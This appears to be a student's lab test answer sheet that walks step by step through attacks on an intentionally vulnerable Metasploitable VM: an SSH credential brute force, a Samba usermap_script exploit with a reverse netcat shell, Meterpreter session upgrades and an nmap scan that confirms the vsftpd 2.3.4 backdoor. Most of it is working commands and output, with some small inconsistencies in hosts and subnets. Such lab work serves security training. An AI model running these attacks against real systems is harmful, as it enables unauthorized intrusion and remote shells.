

2-11-2024 (TEST)

TEST QUESTIONS

Q1. ssh brute force for metasploit

Q2. smb service exploit for metasploit

Q3. use nmap script scan for ftp service exploit for metasploit

ANS 1

step 1

→ start msfconsole and search for ssh login

command: `msfconsole -q`

command: `search ssh login`

command: `use 14`

OR Command: `use auxiliary/scanner/ssh/ssh_login`

```
msf6 exploit(multi/samba/usermap_script) > search ssh login
Matching Modules
#  Name
0  exploit/linux/http/alienvault_exec
1  auxiliary/scanner/ssh/apache_karaf_command_execution
2  auxiliary/scanner/ssh/karaf_login
3  exploit/unix/ssh/array_vxag_vapv_privkey_privesc
4  auxiliary/scanner/ssh/cerberus_sftp_enumusers
5  auxiliary/scanner/http/cisco_firepower_login
6  exploit/linux/ssh/cisco_ucs_scuser
7  exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
8  exploit/freebsd/http/junos_phprc_auto_prepend_file
9  \ target: PHP In-Memory
10 \ target: Interactive SSH with jail break
11 exploit/linux/ssh/microfocus_ohr_shrboardadmin
12 post/linux/manage/sshkey_persistence
13 post/windows/manage/sshkey_persistence
14 auxiliary/scanner/ssh/ssh_login
15 auxiliary/scanner/ssh/ssh_login_publickey
16 exploit/linux/ssh/symantec_smg_ssh
17 exploit/unix/ssh/tectia_passwd_changereq
18 post/windows/gather/credentials/mremote

Disclosure Date Rank Check Description
2017-01-31 excellent Yes AlienVault OSSIM/USM Remote Code Execution
2016-02-09 normal No Apache Karaf Default Credentials Command Execution
. normal No Apache Karaf Login Utility
2014-02-03 excellent No Array Networks vAPV and vxAG Private Key Privilege Escalation Code
2014-05-27 normal No Cerberus FTP Server SFTP Username Enumeration
. normal No Cisco Firepower Management Console 6.0 Login
2019-08-21 excellent No Cisco UCS Director default scuser password
2022-10-10 excellent Yes Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication
n bypass.
2023-08-17 excellent Yes Junos OS PHPRC Environment Variable Manipulation RCE
. . .
2020-09-21 excellent No Micro Focus Operations Bridge Reporter shrboardadmin default password
. excellent No SSH Key Persistence
. good No SSH Key Persistence
. normal No SSH Login Check Scanner
. normal No SSH Public Key Login Scanner
2012-08-27 excellent No Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability
2012-12-01 excellent Yes Tectia SSH USERAUTH Change Request Password Reset Vulnerability
. normal No Windows Gather mRemote Saved Password Extraction

Interact with a module by name or index. For example info 18, use 18 or use post/windows/gather/credentials/mremote
msf6 exploit(multi/samba/usermap_script) > use 14
msf6 auxiliary(scanner/ssh/ssh_login) >
```

step 2

→ see for the options

command: `options`

```
msf6 auxiliary(scanner/ssh/ssh_login) > options
msf6 auxiliary(scanner/ssh/ssh_login) > options

Module options (auxiliary/scanner/ssh/ssh_login):

  Name                Current Setting  Required  Description
  --                -
  ANONYMOUS_LOGIN      false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS      false          no        Try blank passwords for all users
  BRUTEFORCE_SPEED     5              yes       How fast to bruteforce, from 0 to 5
  CreateSession        true           no        Create a new session for every successful login
  DB_ALL_CREDS         false          no        Try each user/password couple stored in the current database
  DB_ALL_PASS          false          no        Add all passwords in the current database to the list
  DB_ALL_USERS         false          no        Add all users in the current database to the list
  DB_SKIP_EXISTING     none           no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  PASSWORD             ← false         no        A specific password to authenticate with
  PASS_FILE            ← false         no        File containing passwords, one per line
  RHOSTS               ← false         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT                ← 22           yes       The target port
  STOP_ON_SUCCESS      false          yes       Stop guessing when a credential works for a host
  THREADS              1             yes       The number of concurrent threads (max one per host)
  USERNAME             ← false         no        A specific username to authenticate as
  USERPASS_FILE        ← false         no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS         false          no        Try the username as the password for all users
  USER_FILE            false          no        File containing usernames, one per line
  VERBOSE              false          yes       Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

step 3

→ set rhost

command: `set RHOST <metasploitable_ip>`

command: `set RHOST 192.168.241.129`

```
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.241.129
rhosts => 192.168.241.129
msf6 auxiliary(scanner/ssh/ssh_login) > █
```

step 4

→ set attributes

command: `set pass_file pass.txt`

command: `set user_file user.txt`

command: `set stop_on_success true`

command: `run`

```

msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file pass.txt
pass_file => pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file pass.txt
pass_file => pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set user_file user.txt
user_file => user.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOST 192.168.241.129
RHOST => 192.168.241.129
msf6 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => true
msf6 auxiliary(scanner/ssh/ssh_login) > run

[*] 192.168.241.129:22 - Starting bruteforce
[+] 192.168.241.129:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(pl
ugdev),107(fuse),111(lnadm),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] SSH session 1 opened (192.168.241.128:36917 → 192.168.241.129:22) at 2024-11-02 09:39:58 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >

```

step 5

- session is generated successfully
- now we can see that session by

command: `sessions`

```

[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
=====

  Id  Name  Type      Information      Connection
  --  ---  --
  1    shell linux  SSH root @  192.168.241.128:36917 → 192.168.241.129:22 (192.168.241.129)

msf6 auxiliary(scanner/ssh/ssh_login) >

```

step 6

- you can upgrade session by

command: `sessions -u <session_id>`

```

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.241.128:4433
[*] Sending stage (1017704 bytes) to 192.168.241.129
[*] Meterpreter session 2 opened (192.168.241.128:4433 → 192.168.241.129:37430) at 2024-11-02 09:41:12 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
=====

  Id  Name  Type      Information      Connection
  --  ---  --
  1    shell linux  SSH root @  192.168.241.128:36917 → 192.168.241.129:22 (192.168.241.129)
  2    meterpreter x86/linux  msfadmin @ metasploitable.localdomain  192.168.241.128:4433 → 192.168.241.129:37430 (192.168.241.129)

msf6 auxiliary(scanner/ssh/ssh_login) > sessions 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: msfadmin
meterpreter >

```

ANS 2



step 1

→ scan network by

command: `crackmapexec smb <Your_Machine_ip>/23`

command: `crackmapexec smb 192.168.241.129/24`

```
(root@kali)~[~]
# crackmapexec smb 192.168.241.129/23
SMB 192.168.241.130 445 DESKTOP-5PJ47DR [*] Windows 10 / Server 2019 Build 19041 x64 (name:DESKTOP-5PJ47DR) (domain:DESKTOP-5PJ47DR) (signing:False) (SMBv1:False)
(root@kali)~[~]
#
```

step 2

→ start msfconsole and search for the exploit

command: `msfconsole -q`

command: `search multi/samba`

command: `use 0`

```
msf6 > search multi/samba
Matching Modules

#  Name                                     Disclosure Date  Rank       Check  Description
-  -                                     -              -       -    -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No     Samba "username map script" Command Execution
1  exploit/multi/samba/nttrans             2003-04-07      average   No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow

Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/nttrans
```

step 3

→

command: `options`

```
msf6 exploit(multi/samba/usermap_script) > options
Module options (exploit/multi/samba/usermap_script):
  Name      Current Setting  Required  Description
  CHOST      192.168.241.128  no        The local client address
  CPORT      4444             no        The local client port
  PROxies     no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS      192.168.241.129  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):
  Name      Current Setting  Required  Description
  LHOST      192.168.241.128  yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

Exploit target:
  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

step 4

→ now we have to set victim ip which we fetch from crackmapexec

command: `set RHOST <metasploitable_ip>`

command: `set RHOST 192.168.241.129`

command: `run`

```
msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.241.129
rhosts => 192.168.241.129
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.241.128:4444
[*] Command shell session 1 opened (192.168.241.128:4444 -> 192.168.241.129:45390) at 2024-10-01 10:56:10 -0400
```

step 5

→ the shell is open successfully

→ you can upgrade session by

command: `sessions -u <session_id>`

command: `sessions -u 1`

```
msf6 exploit(multi/samba/usermap_script) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.241.128:4433
[*] Sending stage (1017704 bytes) to 192.168.241.129
[*] Meterpreter session 2 opened (192.168.241.128:4433 → 192.168.241.129:43480) at 2024-10-01 11:01:54 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(multi/samba/usermap_script) > sessions

Active sessions
```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell cmd/unix		192.168.241.128:4444 → 192.168.241.129:45390 (192.168.241.129)
2		meterpreter x86/linu	root @ metasploitable.localdomain	192.168.241.128:4433 → 192.168.241.129:43480 (192.168.241.129)

ANS 3

=====

=====

for scanning

command: `nmap -p 21 --script "ftp-anon,ftp-syst,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-libopie" 192.168.241.129`

```
(root@kali)-[~]
# nmap -p 21 --script "ftp-anon,ftp-syst,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-libopie" 192.168.241.129

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-02 09:52 EDT
Nmap scan report for 192.168.241.129
Host is up (0.00040s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPD version 2.3.4 backdoor
|   State: VULNERABLE (Exploitable)
|   IDs: CVE:CVE-2011-2523 BID:48539
|   vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|   Disclosure date: 2011-07-03
|   Exploit results:
|   Shell command: id
|   Results: uid=0(root) gid=0(root)
|   References:
|   http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|   https://www.securityfocus.com/bid/48539
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_ ftp-syst:
|   STAT:
|   FTP server status:
|   Connected to 192.168.241.128
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_ End of status
|_ ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 00:0C:29:E9:08:66 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds
```